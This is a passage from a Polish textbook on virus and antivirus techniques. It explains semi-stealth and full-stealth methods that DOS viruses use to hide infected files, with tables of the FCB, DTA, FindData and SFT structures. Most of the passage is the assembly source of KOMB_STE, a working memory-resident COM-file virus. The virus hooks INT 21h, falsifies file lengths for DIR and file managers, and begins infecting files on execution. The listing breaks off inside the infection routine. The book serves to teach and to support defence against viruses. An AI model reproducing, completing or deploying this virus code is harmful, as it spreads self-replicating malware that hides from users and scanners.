Wirusy komputerowe modyfikują pliki i sektory, zmieniając ich zawartość (w przypadku plików zwykle powiększają jeszcze ich długość). Teoretycznie więc, aby wykryć wirusa, wystarczy odczytać plik lub sektor i odnaleźć w nim, przy użyciu skaningu, odpowiednią sekwencję (sygnaturę) wirusa. I rzeczywiście, metoda ta stosowana była z dużym powodzeniem aż do momentu, gdy pojawił się pierwszy wirus używający techniki stealth. Słowo stealth znaczy po angielsku niewidzialny. Takimi właśnie wydają się wirusy używające tej ciekawej sztuczki, która polega na kontroli odpowiednich funkcji systemu DOS lub BIOS, obsługujących pamięć i operacje dyskowe.
W momencie próby dowolnego dostępu do zainfekowanego pliku lub sektora uruchamiane są mechanizmy wirusa, które mają na celu oszukanie użytkownika.
Oszustwo polega na tym, iż fizycznie zarażony obiekt, po odpowiedniej obróbce przez wirusa, wygląda, jakby był nie zainfekowany. Różne odmiany techniki stealth zostały omówione poniżej.
7.1.1. Podawanie prawdziwych długości plików (ang. semi-stealth)
Wirusy wykorzystujące tę technikę oszukują system poprzez podawanie rzeczywistych długości zainfekowanych plików, wyświetlanych po wykonaniu polecenia DIR lub też w oknie programów dos Navi-gator, Norton Commander, XtreeGold, Windows Commander czy też innych, mniej znanych nakładek.
Wyżej wymienione programy używają do przeszukiwania zawartości katalogu jednej z trzech par funkcji, z których pierwsza poszukuje pierwszego, a druga kolejnego wystąpienia w katalogu. Funkcje te to (1142/21), (4E/4F/21), (714E/714F/21). Oszukujący system wirus przejmuje te funkcje (niekoniecznie 'wszystkie) i monitoruje odpowiednie pola struktur, na których operuje dana funkcja.
W momencie wykonywania jednej z funkcji wirus wywołuje pierwotny program obsługi przerwania, a następnie modyfikuje elementy odpowiedniej struktury:
> pozycji katalogu (funkcje 11/12);
> DTA (funkcje 4E/4F);
> FindData (funkcje 714E/714F).
Modyfikacja polega na odjęciu długości wirusa od długości pliku opisywanej w odpowiednim polu struktury oraz najczęściej jakiejś modyfikacji czasu lub daty, będących znacznikiem zainfekowania pliku. Powyższe operacje wykonywane są oczywiście tylko po wykryciu obecności wirusa w znalezionym pliku.
7.1.1.1. Polecenie DIR wywoływane z poziomu DOS
Polecenie DIR używa do przeglądania zawartości katalogu, pary dwóch przeznaczonych specjalnie do tego celu funkcji (11,12/21). Obie funkcje korzystają z najstarszej metody operowania na plikach, a mianowicie z tzw. bloku opisu pliku FCB (ang. File Control Block},
podawanego jako parametr wejściowy do funkcji oraz z pola opisu pozycji katalogu, zwracanego po jej bezbłędnym wykonaniu w buforze DTA (ang. Disk Transfer Area), których opis przedstawiono w kolejnych tabelach.
Podczas odwołań do struktury FCB należy pamiętać, iż istnieją dwie wersje opisu bloku FCB: zwykły i rozszerzony, będący rozwinięciem bloku zwykłego (zawiera dodatkowe pola). Jeżeli pierwszy bajt bloku jest równy 0FFh, mamy do czynienia z rozszerzonym blokiem opisu pliku.
Adres aktualnego bufora DTA uzyskuje się za pomocą funkcji (2F/21), która umieszcza go w rejestrach ES:BX. Po powrocie z funkcji wskazują one bezpośrednio na pole opisu pozycji katalogu, w którym już bez przeszkód można odpowiednio modyfikować pola długości pliku (1C-1F) oraz czasu i daty ostatniej modyfikacji (18-19 i 1A-1B).
Struktura bloku opisu pliku FCB (zwykłego)
|
Adres |
Zawartość |
|
00 |
numer napędu (0=domyślny, 1=A, B=2,...); jeżeli =OFFh, to rozszerzony blok opisu pliku FCB |
|
01-08 |
8 bajtów nazwy pliku |
|
09-0B |
3 bajty rozszerzenia pliku |
|
0C-0D |
numer aktualnego bloku |
|
0E-0F |
długość logicznego rekordu |
|
10-13 |
długość pliku |
|
14-15 |
data ostatniej modyfikacji pliku |
|
16-17 |
czas ostatniej modyfikacji pliku |
|
18 |
ilość SFT dla pliku |
|
19 |
atrybuty, znaczenie bitów bity 7-6 00 - SHARE.EXE niezaładowany, plik dyskowy 01 - SHARE.EXE niezaładowany, sterownik 10 - SHARE.EXE załadowany, plik zdalny 11 - SHARE.EXE załadowany, plik dyskowy lub sterownik bity 5-0 mniej znaczące 6 bitów ze słowa atrybutów |
|
1A-1F |
zawartość zależna od pola 19, bity 7-6 wartość 11 1A-1B numer pierwszej JAP pliku 1C-1D określa numer rekordu w dostępie dzielonym 1E atrybuty pliku 1F nie używane wartość 10 1A-1B uchwyt w sieci 1C-1F ID w sieci wartość 01 1A-1D wskaźnik do nagfówka sterownika 1E-1F nie używane wartość 00 1A bajt informacyjny bit 7: atrybut tytko do odczytu w SFT bit 6: atrybut archiwalności w SFT bity 5-0: wyższe bity numeru sektora 1B-1C numer pierwszej JAP pliku 1D-1F niższe bity sektora zawierającego adres w katalogu 1F ilość pozycji katalogu w sektorze |
|
20 |
bieżący rekord |
|
21-24 |
numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu 64 bajtów, bardziej znacząca część jest pomijana |
Struktura bloku opisu pliku FCB (rozszerzonego)
|
Adres |
Zawartość |
|
00 |
wartość OFFh oznacza blok rozszerzony |
|
01-05 |
zarezerwowane |
|
06 |
atrybuty pliku |
|
07-2B |
zwykły blok opisu FCB (patrz poprzednia tabela) |
Struktura pola opisu pozycji katalogu
|
Adres |
Zawartość |
|
00-07 |
nazwa pliku |
|
08-0A |
rozszerzenie pliku |
|
0B |
atrybuty pliku |
|
0C-15 |
zarezerwowane |
|
16-17 |
czas ostatniej modyfikacji pliku |
|
18-19 |
data ostatniej modyfikacji pliku |
|
1A-1B |
numer pierwszej JAP |
|
1C-1F |
długość pliku |
7.1.1.2. Programy nakładkowe używające krótkich nazw programów (DOS, Windows 3.1)
Nakładki operujące na krótkich nazwach plików (tzn. 8 znaków nazwy i 3 znaki rozszerzenia) używają do przeglądania katalogu funkcji (4E, 4F/21). Wynik wywołania tych funkcji zwracany jest w buforze DTA, jednak format opisu znalezionej pozycji katalogu jest inny niż podczas wywoływania funkcji (11,12/21). Nie zmienia się natomiast sam sposób oszukiwania systemu. Po wykryciu wywoływania którejś z funkcji, należy najpierw uruchomić ją za pomocą pierwotnego programu obsługi, a następnie odczytać adres bufora DTA i zmodyfikować odpowiednie pola struktury.
Pola struktury DTA pokazano poniżej. Najważniejsze z nich to: długość pliku (adres 1A-1D) oraz czas i data (adresy 16-17 i 18-19).
Struktura DTA
|
Adres |
Zawartość |
|
00 |
znaczenie bitów: bity 6-0 numer napędu bit 7 ustawiony, oznacza plik zdalny |
|
01-0B |
szablon poszukiwanych pozycji katalogu |
|
0C |
atrybuty poszukiwanej pozycji |
|
0D-0E |
numer wejścia w katalogu |
|
0F-10 |
numer JAP katalogu nadrzędnego |
|
11-14 |
zarezerwowane |
|
15 |
atrybut znalezionej pozycji katalogu |
|
16-17 |
czas ostatniej modyfikacji znalezionej pozycji katalogu |
|
18-19 |
data ostatniej modyfikacji znalezionej pozycji katalogu |
|
1A-1D |
długość znalezionej pozycji katalogu |
|
1E-2A |
nazwa i rozszerzenie pliku |
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows 95) oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS
Wraz z pojawieniem się systemu Windows 95 wprowadzono tzw. Długie nazwy plików, którymi zastąpiono dotychczas używane (jedenastoznakowe). Mechanizm obslugi długich nazw plików jest dostępny wyłącznie wtedy, gdy aktywny jest system Windows oraz gdy zainstalowany jest tzw. Menedżer IFS.
Za obsługę długich nazw plików odpowiedzialna jest w systemie DOS funkcja (71??/21), gdzie ?? oznacza numer podfunkcji przekazywanej w rejestrze AL. Za pomocą takich podfunkcji zdublowano funkcje (z dokładnością do numerów) operujące na plikach, a dostępne we wcześniejszych wersjach systemu DOS. Za przeszukiwanie zawartości katalogu są więc odpowiedzialne dwie podfunkcje (714E,714F/21), operujące na wprowadzonej wraz z systemem Windows 95strukturze o nazwie FindData. Opisane funkcje są wykorzystywane m.in. przez polecenie DIR wywoływane w oknie Tryb MS-DOS (w systemie Windows 95).
Aby umożliwić różnym aplikacjom działającym w 32-bitowym środowisku graficznym obsługę długich nazw plików, ale bez konieczności odwoływania się do funkcji 16-bitowego systemu DOS, Windows 95 udostępnia analogicznie działające funkcje poprzez tzw. API (ang. Application Program Interface), odpowiednik przerwania 21h dla systemu DOS.
Kod większości funkcji systemowych dostępnych przez API zawarty jest w pliku KERNEL32.DLL, będącym częścią jądra systemu. Na przykład funkcji 714E odpowiada funkcja FindFirstFileA, zaś funkcji 714F - funkcja FindNextFileA. Z funkcji tych korzysta większość programów działających w systemie Windows 95, m.in. Explorator, a także różne programy nakładkowe, np. Wondows Commander 95, tak więc ich przejęcie pozwala na użycie techniki stealth również w systemie Windows 95 (na razie nie ma wirusa który potrafiłby to robić). Adresy do powyższych funkcji można odczytać z pliku KERNEL32.DLL (jest to nowy EXE typu PE), a uzyskane w ten sposób offsety należy zmodyfikować poprzez dodanie do ich adresu, pod którym znajduje się KERNEL32.DLL w pamięci. Niestety do dzisiaj nie jest znany mechanizm pozwalający na odczytanie tego adresu w sposób bezpośredni, bez używania funkcji API. Pierwszy wirus dla Windows 95 (Bizatch lub inaczej Boza) korzysta przy dostępie do funkcji systemowych ze stałego adresu, zapamiętanego w wirusie. Ze względu na to, że iż adres ten zmienia się w różnych podwersjach systemu Windows 95, należy przed jego użyciem sprawdzić, czy rzeczywiście jest on właściwy.
Opis struktury FindData zamieszczono poniżej.
Struktura FindData
|
Adres |
Zawartość |
|
00-03 |
atrybuty pliku bity 0-6 standardowe atrybuty plików DOS bit 8 plik tymczasowy (temporary) |
|
04-0B |
czas i data utworzenia pliku |
|
0C-13 |
czas i data ostatniego dostępu do pliku |
|
14-1B |
czas i data ostatniej modyfikacji pliku |
|
1C-1F |
długość pliku (bardziej znaczące 32 bity) |
|
20-23 |
długość pliku (mniej znaczące 32 bity) |
|
24-2B |
zarezerwowane |
|
2C-12F |
260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ) |
|
130-13D |
14-bajtowe pole krótkiej nazwy pliku (jako ASCIZZ) |
7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth)
Aby w pełni oszukiwać system, należy oprócz prawdziwych długości plików podawać także ich prawdziwą zawartość. W tym celu oprócz funkcji przeszukujących zawartość katalogu trzeba przejąć funkcje służące do manipulowania zawartością plików.
Najprościej w momencie otwierania pliku leczyć go, a w chwili zamykania - ponownie infekować. Powyższa metoda ma jednak kilka niedociągnięć. Główną jej wadą jest to, iż nie sprawdzi się ona na pewno na dyskach zabezpieczonych przed zapisem (klasycznym przykładem jest tu płyta CD lub zabezpieczona przed zapisem dyskietka). Należy też pamiętać, iż użytkownik z pewnością zauważy częste leczenie i ponowną infekcję plików, gdyż wszelkie operacje dyskowe będą przebłagały wolniej.
Powyższych wad nie posiada natomiast metoda polegająca na tym, aby w momencie odczytu dowolnego pliku sprawdzać, czy jest to plik zainfekowany i w locie leczyć go w pamięci, nie zmieniając jednak jego obrazu na dysku. W efekcie program odczytujący plik widzi jego oryginalną zawartość, zaś fizycznie plik nie jest zmieniany. Napisanie procedury stosującej powyższą metodę nie jest już jednak zadaniem tak łatwym, jak w poprzednim przypadku; należy rozważyć kilka możliwości związanych z położeniem wskaźnika zapisu/odczytu w stosunku do początku pliku. Aby uprościć to zadanie, często stosuje się zabieg polegający na tym, że przy otwieraniu zainfekowanego pliku zmniejsza się w wewnętrznych strukturach DOS (tablica SFT, opisana poniżej) jego długość o rozmiar wirusa. Wtedy, jedynym obszarem pliku, którym musi zająć się wirus, jest jego początek (np. w przypadku nagłówka plików EXE wirus powinien przywracać jego prawdziwą zawartość), gdyż operacje odczytu nigdy nie dojdą do dodanego na końcu pliku wirusa.
Przy programowaniu wirusa wykorzystującego technikę stealth często przydatne są dwie wewnętrzne funkcje DOS (1216/1220/2F), służące do operowania na wewnętrznych strukturach DOS, tzw. tablicach SFT (ang. System File Table), zawierających wszelkie informacje o otwartym pliku. W systemie może istnieć kilka podtablic SFT, połączonych w łańcuch. Dostęp do zawartych w nich informacji o pliku uzyskuje się na podstawie uchwytu pliku zwracanego przez funkcje (3D,6C/21) przy jego otwieraniu. Uchwyt ten podaje się jako parametr funkcji (1216/1220/2F). Po ich użyciu najpierw uzyskujemy adres tzw. tablicy JFT (ang. Job File Table), opisującej pliki otwarte w danym procesie. Na jej podstawie otrzymujemy adres tablicy SFT opisującej dany plik. Używa się do tego poniższej sekwencji:
; Uzyskiwanie informacji o pliku na podstawie jego uchwytu
MOV AX,1220h ; weƒ adres tablicy JFT zawieraj╣cej numer SFT,
; opisuj╣cej plik podany w BX
MOV BX,UchwytPliku ; BX zawiera uchwyt (numer) pliku
INT 2Fh ; wywo│aj funkcjÛ
MOV BL,ES:[DI] ; weƒ numer tablicy SFT
MOV AX,1216h ; weƒ adres tablicy SFT na podstawie numeru w BL
INT 2Fh ; wywo│aj funkcjÛ ES:DI wskazuje na tablicÛ SFT pliku
Jak widać, infekowanie pliku jest możliwe nawet przy jego zamykaniu. Format podtablicy SFT podano poniżej:
Format podtablicy SFT
|
Adres |
Zawartość |
|
00-03 |
Wskaźnik do następnej podtablicy |
|
04 |
N - liczba plików w podtablicy |
|
06-40 |
|
|
|
Opis pliku nr 1 w podtablicy - patrz następna tablica |
|
|
Opis pliku nr N w podtablicy |
Opis pliku zawarty w tablicy SFT
|
Adres |
Zawartość |
|
00-01 |
Liczba łączników do pliku |
|
02-03 |
Tryb |
|
04 |
Atrybut pliku |
|
05-06 |
Informacja o pliku |
|
07-0A |
Wskaźnik do nagłówka programu obsługi lub do bloku DPB |
|
0B-0C |
Pierwsza JAP pliku |
|
0D-0E |
Czas ostatniej modyfikacji pliku |
|
0F-11 |
Data ostatniej modyfikacji pliku |
|
11-14 |
Rozmiar pliku |
|
15-18 |
Aktualna pozycja wskaźnika odczytu/zapisu pliku |
|
19-1A |
Względny numer JAP |
|
1B-1E |
Położenie elementu katalogu opisującego plik |
|
20-2A |
Nazwa i rozszerzenie pliku |
|
2B-2E |
Wskaźnik do poprzedniego elementu SFT (pole programu SHARE) |
|
2F-30 |
Numer komputera w sieci (pole programu SHARE) |
|
31-32 |
Adres właściciela pliku (jego PSP) |
|
33-34 |
Położenie w obszarze roboczym listy zablokowanych regionów pliku (pole programu SHARE) |
|
35-36 |
Numer JAP |
|
37-3A |
Wskaźnik do IFS pliku lub 00000000h |
Zamieszczony poniżej wirus stosuje technikę senii-stealth w odniesieniu do polecenia DIR i popularnych nakładek oraz full stealth oparty na tablicach SFT.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; KOMB_STE v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Zmodyfikowany wirus KOMBAJN, rozszerzony o technike STEALTH ;
; ;
;----------------------------------------------------------------------------;
; Informacje Techniczne ;
;----------------------------------------------------------------------------;
; ;
; Wirus oszukuje uzytkownika w nastepujacy sposob : ;
; _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;
; pomoca polecenia DIR ;
; _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za ;
; pomoca nakladek typu Dos Navigator, Norton Commander ;
; _ Nie pozwala przeczytac koncowej czesci pliku zawierajacej wirusa ;
; (plik jest sztucznie "ucinany" w tablicy SFT ) ;
; ;
; Wirus nie monitoruje odczytow z poczatku pliku, tak wiec w zarazonych ;
; plikach mozna go wykryc poprzez sprawdzenie czy pierwsza instrukcja ;
; programu E9 xx xx wskazuje na koniec pliku. Dodatkowo, poniewaz wirus ;
; informuje o wykonywanych przez siebie operacjach - w momencie wywolania ;
; zainfekowanego programu, pojawi sie od niego komunikat mowiacy o tym, ;
; iz wirus jest juz zainstalowany w pamieci. ;
; ;
; Kompilacja : ;
; TASM KOMB_STE.ASM ;
; TLINK /t KOMB_STE.OB J ;
; ;
;----------------------------------------------------------------------------;
JUMPS
KOMB_STE SEGMENT
ASSUME CS:KOMB_STE, DS:KOMB_STE
ORG 100h
Haslo = 0BACAh ; \ do sprawdzenia czy wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywana przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc struktury
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
DIRStruc struc
DIRDrv db ? ; numer napedu
DIRName db 8 dup(?) ; nazwa znalezionej pozycji
DIRExt db 3 dup(?) ; rozszerzenie znalezionej pozycji
DIRAttr db ? ; atrybut znalezionej pozycji
DIRRes db 10 dup(?) ; zarezerwowane
DIRTime dw ? ; czas znalezionej pozycji
DIRDate dw ? ; data znalezionej pozycji
DIRStartJAP dw ? ; poczatkowa JAP znalezionej pozycji
DIRSize dd ? ; dlugosc znalezionej pozycji
DIRStruc ends
SFTStruc struc
SFTCntHnd dw ? ; ile uchwytow do pliku
SFTOpMode dw ? ; tryb otwarcia pliku
SFTAttr db ? ; atrybut pliku
SFTDevAttr dw ? ; informacja o urzadzeniu
SFTDevPtr dd ? ; adres do naglowka sterownika
; lub do DPB
SFTStartJAP dw ? ; poczatkowa JAP pliku
SFTTime dw ? ; czas pliku
SFTDate dw ? ; data pliku
SFTSize dd ? ; dlugosc znalezionej pozycji
SFTPos dd ? ; wskaznik odczytu/zapisu
SFTRes db 7 dup(?) ; pola nieistotne
SFTName db 11 dup(?) ; nazwa + rozszerzenie pliku
SFTStruc ends
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16
Start: ; poczatek wirusa
PoczatekWirusa: ; pomocnicza etykieta
Call Trik ; zapisz na stosie relatywny ofset
Trik:
pop si ; zdejmij ze stosu relatywny ofset
sub si,103h ; oblicz ofset do poczatku wirusa
mov ax,Haslo ; \ sprawdz, czy wirus jest
int 21h ; / juz w pamieci
cmp ax,Odpowiedz ; \ czy kopia wirusa odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do nosiciela
InstalacjaWPamieci: ; poczatek instalacji
lea di,TeCopyRight ; \ wyswietl info o wirusie
Call DrukSI ; /
lea di,TeInstalacja ; \ zapytaj uzytkownika, czy chce
Call DrukSI ; \ zainstalowac wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 uzytkownik nie chce instalowac
mov ax,3521h ; funkcja DOS - wez adres INT 21
int 21h ; wywolaj funkcje
mov [si][Stare21Seg],es ; \ zachowaj adres (wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)
mov ax,ds ; przywroc ES
mov es,ax ; AX=ES=DS=CS=SS=PSP
dec ax ; AX=ES-1=MCB aktualnego bloku pamieci
mov ds,ax ; DS=blok MCB aktualnego bloku pamieci
mov bx,word ptr ds:[0003h] ; wez dlugosc bloku pamieci
sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa
mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci
int 21h ; wywolaj funkcje
mov bx,DlugoscWPamieci ; podaj jaki chcesz blok pamieci
mov ah,48h ; funkcja DOS - przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 nie udalo sie przydzielic
mov es,ax ; ES=wskazuje na przydzielony blok
xor di,di ; ES:DI - dokad skopiowac
cld ; zwiekszaj SI, DI w REP MOVSB
push si ; SI bedzie zmieniany wiec zachowaj
add si,offset PoczatekWirusa ; dodaj skad kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow
pop si ; przywroc relatywny ofset
mov ax,es ; pobierz adres do MCB opisujacego
dec ax ; blok, w ktorym jest wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa jako systemowy
sub ax,0Fh ; \ DS=adres bloku-10h
mov ds,ax ; \ sztuczka, dzieki ktorej mozna
; / odwolywac sie do danych jak w
; / zwyklym programie COM (ORG 100h)
mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw adres INT 21
int 21h ; wywolaj funkcje
push cs ; \ wyswietl komunikat o
pop ds ; \ instalacji w pamieci
lea di,TeZainstalowany ; \ i segment, w ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /
PowrocDoNosiciela: ;
push cs cs ; \ przywroc DS=ES=CS=PSP
pop ds es ; /
mov al,byte ptr [si][StareBajty] ; \ przywroc 3 poczatkowe bajty
mov ds:[100h],al ; \ programu pod adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /
mov ax,100h ; \ zachowaj na stosie slad do
push ax ; / adresu 100h
xor ax,ax ; \ dla bezpieczenstwa
xor bx,bx ; \ lepiej wyzerowac rejestry
xor cx,cx ; \ robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /
ret ; powroc do nosiciela
PytanieOInstalacje: ; \ odpowiedz rezydujacego
xchg al,ah ; - wirusa (na pytanie czy jest
iret ; / w pamieci)
NoweInt21:
cmp ax,4B00h ; czy funkcja DOS - uruchom program ?
je InfekcjaPliku ; TAK - sprobuj infekowac
cmp ax,Haslo ; czy pytanie wirusa o instalacje ?
je PytanieOInstalacje ; TAK - odpowiedz, ze zainstalowany
cmp ah,11h ; \ czy funkcje przeszukiwania ?
je STEALTH_11_12 ; \ katalogu uzywane przez
cmp ah,12h ; / polecenie DIR ?
je STEALTH_11_12 ; / TAK - oszukuj jesli trzeba
cmp ah,4Eh ; \ czy funkcje przeszukiwania ?
je STEALTH_4E_4F ; \ katalogu uzywane przez
cmp ah,4Fh ; / nakladki ?
je STEALTH_4E_4F ; / TAK - oszukuj jesli trzeba
cmp ah,3Dh
je STEALTH_3D
jmp PowrotZInt21 ; idz do poprzedniego lancucha
; przerwan
STEALTH_3D:
call UstawNowe24 ; ustaw obsluge bledow krytycznych
Call StareInt21 ; wywolaj stare przerwanie 21h
jc STEALTH_3D_Powrot2 ; CF=1 to blad
pushf ; \ zachowaj wartosci rejestrow
push es ax bx di ; / zmienionych przez wywolanie
mov bx,ax ; BX zawiera uchwyt (numer) pliku
mov ax,1220h ; wez adres tablicy JFT
int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad
mov bl,es:[di] ; wez numer tablicy SFT
mov bh,0 ; BX=BL
mov ax,1216h ; wez adres tablicy SFT na podstawie numeru w BL
int 2Fh ; wywolaj funkcje
jc STEALTH_3D_Powrot ; CF=1 Blad
cmp es:[di][SFTDate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_3D_Powrot ; NIE - STEALTH niepotrzebne
cmp word ptr es:[di][SFTSize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_3D ; TAK - moze byc zainfekowany
cmp word ptr es:[di][SFTSize],DlugoscWirusa
jb STEALTH_3D_Powrot ; czy dlugosc pliku >=dlug. wirus
; TAK - moze byc zainfekowany
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_3D:
sub word ptr es:[di][SFTSize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[di][SFTSize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_3D_Powrot:
pop di bx ax es ; \ przywroc odpowiednie wartosci
popf ; / rejestrow
STEALTH_3D_Powrot2:
Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem ustawionych znacznikow
; ES:DI wskazuje na tablicÓ SFT pliku
STEALTH_11_12:
call UstawNowe24 ; ustaw obsluge bledow krytycznych
Call StareInt21 ; wywolaj stare przerwanie 21h
or al,al ; CZY AL=0
jnz STEALTH_11_12_Powrot2 ; AL<>0 to blad
pushf ; \ zachowaj wartosci rejestrow
push es ax bx ; / zmienionych przez wywolanie
mov ah,2Fh ; funkcja DOS - wez adres do DTA
Call StareInt21 ; wywolaj stare przerwanie 21h
cmp es:[bx][DIRDrv],0FFh ; czy rozszerzony FCB ?
jne ZwyklyFCB ; NIE - zwykly FCB
add bx,7 ; dodaj przesuniecie
; teraz ES:BX=wskazuje na zwykly FCB
ZwyklyFCB:
cmp es:[bx][DIRDate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_11_12_Powrot ; NIE - STEALTH niepotrzebne
cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_11_12 ; TAK - moze byc zainfekowany
cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_11_12_Powrot ; czy dlugosc pliku >= dlugosc wirusa
; TAK - moze miec wirusa
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_11_12:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_11_12_Powrot:
pop bx ax es ; \ przywroc odpowiednie wartosci
popf ; / rejestrow
STEALTH_11_12_Powrot2:
Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem ustawionych znacznikow
STEALTH_4E_4F:
call UstawNowe24 ; ustaw obsluge bledow krytycznych
Call StareInt21 ; wywolaj stare przerwanie 21h
jc STEALTH_4E_4F_Powrot2 ; CF=1 to blad
pushf ; \ zachowaj wartosci rejestrow
push es ax bx ; / zmienionych przez wywolanie
mov ah,2Fh ; funkcja DOS - wez adres do DTA
Call StareInt21 ; wywolaj stare przerwanie 21h
cmp es:[bx][DTADate],VZnacznik ; czy znaleziona pozycja jest
; zainfekowana ?
jne STEALTH_4E_4F_Powrot ; NIE - STEALTH niepotrzebne
cmp word ptr es:[bx][DTASize+2],0 ; czy dlugosc pliku >65535 ?
jne MozeMiecWirusa_4E_4F ; TAK - moze byc zainfekowany
cmp word ptr es:[bx][DTASize],DlugoscWirusa
jb STEALTH_4E_4F_Powrot ; czy dlugosc pliku >=dlug. wirusa
; TAK - moze byc zainfekowany
; NIE - STEALTH niepotrzebne
MozeMiecWirusa_4E_4F:
sub word ptr es:[bx][DTASize],DlugoscWirusa
; odejmij dlugosc wirusa
sbb word ptr es:[bx][DTASize+2],0
; uwzglednij ewent. pozyczke
; z bardziej znaczacej czesci
STEALTH_4E_4F_Powrot:
pop bx ax es ; \ przywroc odpowiednie wartosci
popf ; / rejestrow
STEALTH_4E_4F_Powrot2:
Call PrzywrocStare24 ; przywroc stara obsluge bledow krytycznych
retf 2 ; powrot z zachowaniem ustawionych znacznikow
InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry
mov cs:StaryDS, ds ; \ zachowaj adres do nazwy pliku
mov cs:StaryDX, dx ; /
call UstawNowe24
mov ax,4300h ; funkcja DOS - czytaj atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; CF=1 blad wiec powrot
mov cs:Atrybut,cl ; wez stary atrybut
mov ax,4301h ; funkcja DOS - zapisz atrybut
mov cx,AtrArchive ; podaj nowy atrybut : Archive
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov ax,5700h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku na pozniej
cmp dx,VZnacznik ; czy plik jest juz zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik, powrot
push cs ; \ DS=CS=segment wirusa
pop ds ; /
mov cx,3 ; ilosc czytanych bajtow
lea dx,StareBajty ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to nie EXE
je ZamknijPlik ; gdy 'MZ' to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM' to plik EXE, powrot
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
; DX = starsza czesc dlugosci pliku
or dx,dx ; czy plik krotszy niz 65536 ?
jnz ZamknijPlik ; NIE - nie infekuj
cmp ax,64000 ; czy dlugosc <= 64000 ?
ja ZamknijPlik ; NIE - nie infekuj
cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; NIE - nie infekuj
sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
